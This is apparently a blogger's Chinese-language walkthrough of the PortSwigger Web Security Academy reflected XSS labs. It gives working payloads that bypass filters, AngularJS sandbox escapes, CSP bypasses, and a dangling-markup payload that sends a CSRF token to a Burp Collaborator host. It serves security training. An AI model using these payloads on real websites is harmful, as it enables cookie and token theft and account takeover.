Portswigger-web-security-academy:reflected_xss

reflected xss

Reflected XSS into HTML context with nothing encoded

  • 题目要求

    调用alert函数

  • 解题过程

    请求:

    url/?search=asd

    返回:

    <h1>0 search result for ‘asd‘</h1>

    发现参数search直接嵌入到了html里

    直接插入xss payload就型

    <script>alert()</script>

Reflected XSS into HTML context with most tags and attributes blocked

  • 题目描述

    在搜索功能点可以xss,但是有waf

    要求自动调用alert(document.cookie)

  • 解题过程

    试了半天没有找到可以利用的标签,用burp测试<$$>

    发现body标签可用

    试了半天没有找到可以利用的时间,用burp测试<body $$>

    发现onresize标签可用

    查了一下,onresize在窗口被调整大小时调用

    构造payload:<body onresize=alert(document.cookie)>

    都弹窗了还是没有给过,才发现有个Exploit Server,是要构造csrf的payload:

    <iframe src="https://ac701fd21fa553d380da369500960007.web-security-academy.net/?search=%3Cbody%20onresize%3Dalert%28document.cookie%29%3E" onload=this.style.width=‘100px‘>

    保存然后deliver exploit to victim即可

    这里查了可调整窗口大小的js方法window.resizeTo(x,y),但是不起作用,最后用了官方solution里的this.style.width=‘100px‘,后来测试了一下,window属性是原本页面的属性,不是iframe的属性,所以无法激活onresize函数

  • 参考

    标签/事件/payload字典:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Reflected XSS into HTML context with all tags blocked except custom ones

  • 题目描述

    过滤了除过自定义标签之外的所有HTML标签

    要求alert(document.cookie)

  • 解题过程

    自定义标签无法使用onload属性,去上到题用到的cheat-sheet查了一下,发现了这个payload:<xss id=x tabindex=1 onfocus=alert(document.cookie)></xss>,但是不会弹窗,于是我加了个autofocus

    <xss id=x tabindex=1 onfocus=alert(document.cookie) autofocus></xss>

    这里autofocus起作用的原因在于tabindex的意义,tabindex是用来控制tab键的控制次序的,xss标签添加了tabindex属性,让它本身具有了被autofocus的功能(我的理解若有错误,欢迎指正)

    但是会无限弹窗 = =,手动f12跳过还是不给过,然后发现要去Exploit Server!!!

    ctmd真好,然后deliver之后还是不给过,应该是因为无限弹窗吧

    去看了官方solution,用了锚(hash),很巧妙,给xss标签定义id为x,然后用#聚焦到锚点x

    payload: <script>location = "https://aca61f4e1f84997480181c8b0035004a.web-security-academy.net/?search=%3Cxss%20id%3Dx%20tabindex%3D1%20onfocus%3Dalert%28document.cookie%29%3E%3C/xss%3E#x"</script>

Reflected XSS with event handlers and href attributes blocked

  • 题目描述

    一些白名单里的标签可以xss,但是所有事件和href属性都被ban掉了

    要求通过点击调用alert函数

  • 做题过程

    用burp测了下白名单标签,有<a> <animate> <discard> <image> <svg> <title>

    <a href=javascript:alert()>Click</a>

    测试发现,事件过滤的是<x onxxx,没什么用

    然后去搜索标签介绍的时候,看到了一篇利用<animate>标签xss的介绍[1],里面给的payload:<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://safe-url?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>,但是payload里用到了href,无法利用

    仔细读了一遍介绍,觉得svg+animate+a是可行的,然后继续去找相关的介绍,看到了第二篇介绍[2],这篇介绍里给了一个payload:<svg width=12cm height=9cm><a><image href=//brutelogic.com.br/yt.jpg /><animate attributeName=href values=javascript:alert(1)>(有href属性,与题目环境不符),自己用phpstudy进行测试,很有意思,这个payload是利用animateattributeNamevalues属性给父标签赋值

    需要做的是用文字把image标签替换掉,这里试了很多种,但是都无法显示,觉得很奇怪(f12可以看到元素,但是页面没有显示),于是想到第一篇介绍payload里的text标签,测试之后发现,svg画布里,text标签要有x,y属性才会显示,然后配合animate给父元素赋值的特性,构造payload:<svg><a><text x=20 y=20>Click me</text><animate attributeName=href values="javascript:alert()">

    之后测试发现,<svg><a><rect width=100% height=100% /><animate attributeName=href to=javascript:alert(1)>,这个payload也可以,利用的是animatefrom,to赋值特性

    还有个发现,text标签没有在burp给的标签列表里,得去添加上

  • 参考

Reflected XSS with some SVG markup allowed

  • 题目描述

    站点过滤了一般标签和事件,但是一些SVG的标签和事件被忽略了

    要求调用alert函数,(只能在Chrome中实现)

  • 解题过程

    试了下上到提的payload,发现animate标签被ban了

    然后看了一下,发现discard没有被ban,去cheat-sheet搜payload,找到<svg><discard onbegin=alert(1)>

Reflected XSS into attribute with angle brackets HTML-encoded

  • 题目描述

    在搜索功能点可以xss,但是<>会被HTML编码

    要求调用alert函数

  • 解题步骤

    输了asd,查看页面变化

    <input maxlength="600" type="text" placeholder="Search the blog..." name="search" value="asd">
    

    可以看到关键词asd被潜入了value

    构造payload:" onfocus=alert() "

    点击之后会一直弹窗,f12跳过之后不给过

    换个payload:" onmouseover=alert() "

  • 题目描述

    站点会过滤<>并反弹用户在canonical link tag 里的输入

    要求调用alert函数

    提示:假设用户会按ALT+SHIFT+XCTRL+ALT+XALT+X

  • 解题过程

    先看了下元素

    <link rel="canonical" href="https://ac001fe01fae00fd80342313000a00d3.web-security-academy.net/">
    

    尝试的时候发现双引号被url编码了,但是单引号可以

    payload:url?asd%27accesskey=%27alt%2bshift%2bx%27onclick=%27alert(1)

Reflected XSS into a JavaScript string with single quote and backslash escaped

  • 题目描述

    search query tracking功能点处可以xss,会编码单引号和反斜杠

    要求逃逸出js字符串,调用alert函数

  • 解题过程

    关键代码

    <script>
    	var searchTerms = ‘asd‘;
    	document.write(‘<img src="/resources/images/tracker.gif?searchTerms=‘+encodeURIComponent(searchTerms)+‘">‘);
    </script>
    

    这里涉及了html解析标签的机制,浏览器解析标签的顺序是:

    遇到<x>考试标签,去寻找</x>结束标签,然后才解析标签里的内容

    所以只需要直接嵌入结束标签即可

    payload:</script><img/src=x onerror=alert()>

Reflected XSS into a JavaScript string with angle brackets HTML encoded

  • 题目描述

    search query tracking功能点处可以xss,会编码尖括号

    要求逃逸出js字符串,调用alert函数

  • 解题过程

    关键代码

    <script>
        var searchTerms = ‘asd‘;
        document.write(‘<img src="/resources/images/tracker.gif?searchTerms=‘+encodeURIComponent(searchTerms)+‘">‘);
    </script>
    

    没过滤单引号,直接闭合就可以

    构造payload:‘;alert()//

Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

  • 题目描述

    search query tracking功能点处可以xss,尖括号和双引号会被HTML编码,单引号会addslash(转义,添加\

    要求逃逸出js字符串,调用alert函数

  • 解题过程

    因为只对单引号进行了addslash,所以可以在单引号前加一个\,就变成了\\‘,单引号会正常表达

    构造payload:\‘;alert()//

Reflected XSS in a JavaScript URL with some characters blocked

  • 题目描述

    为了防止xss,ban掉了一些字符,

    要求调用alert(1337)

  • 解题步骤

    点进一个blog,看源码,发现可以这块代码的url是可控的

    <a href="javascript:fetch(‘/analytics‘, {method:‘post‘,body:‘/post%3fpostId%3d2%26asd‘}).finally(_ => window.location = ‘/‘)">Back to Blog</a>
    

    尝试过程:

    • 限制条件:
      • 路径是被URL编码过的
      • \(),HTML实体编码被过滤了

    想到了javascript后是js环境,考虑//注释,尝试过程中发现"可以闭合href

    考虑了利用html解析机制,但是过滤了HTML编码,最主要的是=会被url编码

    尝试了很多方法,都没法闭合前面圆括号里的语句,不闭合的话,点击链接浏览器会报错,onerror也不会被调用

    去看了官方solution

    <a href="javascript:fetch(‘/analytics‘, {method:‘post‘,body:‘/post%3fpostId%3d2%26%27},x%3dx%3d%3e{throw/**/onerror%3dalert,1337},toString%3dx,window%2b%27%27,{x%3a%27‘}).finally(_ => window.location = ‘/‘)">Back to Blog</a>
    

    这些字符虽然被url编码,但是仍能起作用,这才想起来!这是在href上下文里,会被url解码。

    核心在于throw的用法,利用捕获错误的语句,调用alert函数

Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

  • 题目描述

    在搜索博客功能点可以xss,<> ‘ " \ ` 会被unicode编码

    要求调用alert函数

  • 解题过程

    关键代码

    <script>
        var message = `0 search results for ‘sss‘`;
        document.getElementById(‘searchMessage‘).innerText = message;
    </script>                        
    

    这道题我是没想到的,有个东西叫做js模板,相当于字符串里的占位符,但里面的代码可以执行,用法:${code}

    payload:${alert()}

Reflected XSS with AngularJS sandbox escape without strings

  • 题目描述

    这道题用了AngularJS,在该环境里$eval函数不可用,并且不能使用任何字符串( ???)

    要求调用alert函数

  • 解题过程

    AngularJS的环境在[前面的题]里见到过,有现成的payload{{$on.constructor(‘alert(1)‘)()}}

    • 关键代码
    <script>angular.module(‘labApp‘, []).controller(‘vulnCtrl‘,function($scope, $parse) {
            $scope.query = {};
            var key = ‘search‘;
            $scope.query[key] = ‘{{2*2}}‘;
            $scope.value = $parse(key)($scope.query);});
    </script>
    
    <h1 ng-controller="vulnCtrl" class="ng-scope ng-binding">0 search results for {{2*2}}</h1>
    

    用不了字符串,就需要把payload改造一下,但我改造不出来 = =

    • 官方的solution

    payload:1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

    • 翻译:

    这个exp使用了toString()函数来创建一个不需要引号的字符串,然后拿到String的原型并重载charAt函数,以此逃逸出沙盒环境(因为我们重载了charAt函数,所以原生js的用法会被允许)。然后,一个数组被传递给orderBy过滤器,我们使用toString()来设置过滤器的参数,以此创建一个字符串以及一个字符串构造器的原型。最后,我们使用fromCharCode方法生成我们的payload。

    • 我的理解:

      • 构造payload:

        重载把原本用于返回指定位置字符的charAt函数转换为join函数

        之后的过滤器和orderBy把数组转换成了字符串

        利用构造器使用fromCharCode函数构造payload

        最后的=1是调用重载后的函数,把payload赋值给[1]

      • 补充(文档说明)

        逃逸AngularJS沙盒

        AngularJS沙盒逃逸的方法有很多,最为熟知的是利用expression来重载charAt()

        即:‘a‘.constructor.prototype.charAt=[].join

        AngularJS会执行该表达式,并重载charAt()函数,这将导致charAt()函数会一次性返回所有传入的字符,而非单个的字符。由于AngularJS里isIdent()函数(大概是检测输入字符是否合法的函数)的逻辑是比较传入字符与特定字符,而单个字符总是小与字符串,所以isIdent()函数总会返回true,进而可以任意代码执行。

      • 利用:

        angular.module(‘labApp‘, []).controller(‘vulnCtrl‘,function($scope, $parse) {
                                    $scope.query = {};
                                var key = ‘search‘;
                                    $scope.query[key] = ‘1‘;
                                $scope.value = $parse(key)($scope.query);
                                    var key = ‘toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)‘;
                                  $scope.query[key] = ‘1‘;
                                    $scope.value = $parse(key)($scope.query);
                                });
        

        可以看到通过1&payload进行了参数污染,把payload赋值给了key,以便利用$parse函数加载payload,太巧妙了

Reflected XSS with AngularJS sandbox escape and CSP

  • 题目描述

    这道题使用了CSP和AngularJS

    要求 绕过CSP,逃逸AngularJS沙盒,并调用alert(document.cookie)

    CSP:Content Security Policy,内容安全策略,以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。

    how-does-an-angularjs-csp-bypass-work:csp会禁止使用Function构造函数,并且会阻止js事件。但是AngularJS定义了它自己的事件,可以利用这个特性来绕过CSP。在Chrome中,$event/event有一个特殊的属性path,这个属性包含了一个可以造成事件被执行的对象的数组。这些对象里最后一个总会是window对象,我们可以利用它来进行沙盒逃逸。通过把这个数组传递给过滤器orderBy,我们可以枚举数组元素并使用window对象来执行全局函数,例如alert(),payload:

    <input autofocus ng-focus="$event.path|orderBy:‘[].constructor.from([1],alert)">

    但是这道题会限制长度,上面的payload用不了,所以需要思考其他方法来隐藏window对象,方法之一是使用array.map()函数,例如:[1].map(alert),map接收一个函数并通过数组中的每一个对象来调用

  • 解题过程

    文档给的提示已经足够多了,只需要组装payload即可

    我最先想到的是<input ng-focus=$event.path|orderBy:‘[1].map(alert)(document.cookie)‘>

    但是无法弹窗,应该是map()的用法有问题

    修改后:<input ng-focus="$event.path.map(alert)(document.cookie)">

    去看了map()介绍,修改了payload:

    <input ng-focus=$event.path.map(alert,documen.cookie)>

    仍然无效,又试了很多种方式,都无效

    去看了官方solution,payload如下:

    <input id=x ng-focus=$event.path|orderBy:‘(x=alert)(document.cookie)‘>

    我的理解是:根据(x=alert)进行排序,但是只有一个对象符合,进而执行

Reflected XSS protected by CSP, with dangling markup attack

  • 题目描述

    这道题使用了CSP来限制xss

    要求盗取csrf token来修改另一个用户的邮箱地址

  • 解题过程

    看起来和stored_xss里最后一道一样,试了一下,被禁止跨域请求

    标题说了是标签注入的反射型xss,先去看看哪里可以xss,发现邮箱的input标签用的name,name命名可以通过get传值

    验证:https://ac931fc31e60f5f4808b184f00880021.web-security-academy.net/email?email=xss">

    返回:

    <input required="" type="email" name="email" value="xss">
    <img src="x" onerror="alert()">
    

    但是这里禁止了跨域加载资源,禁止了自定义函数,不知道怎么把这个csrf token传出去,看了solution,有点巧妙

    (放到exploit server)

    ?email=xss"><table%20background=‘//tkh0i1f2cwy0aj1e0yhmdf15uw0mob.burpcollaborator.net/?

    利用单引号把后面的标签都当作get参数传给Burp Collaborator,就可以拿到token了

    之后使用burp自带的CSRF PoC生成器(在http请求报文里右键Engagement tools -> generate CSRF PoC),生成一个自动提交(右上角option里面选)的csrf表单,放到exploit server提交

Reflected XSS protected by very strict CSP, with dangling markup attack

暂留

Reflected XSS protected by CSP, with CSP bypass

暂留

? 笔者水平有限,如果所述有错误,欢迎指正交流。


  1. https://xz.aliyun.com/t/7612 ??

  2. https://www.freebuf.com/articles/network/147951.html ??

Portswigger-web-security-academy:reflected_xss

上一篇:18个基于 HTML5 Canvas 开发的图表库


下一篇:网络协议-HTTP协议详解-HTTP报文首部字段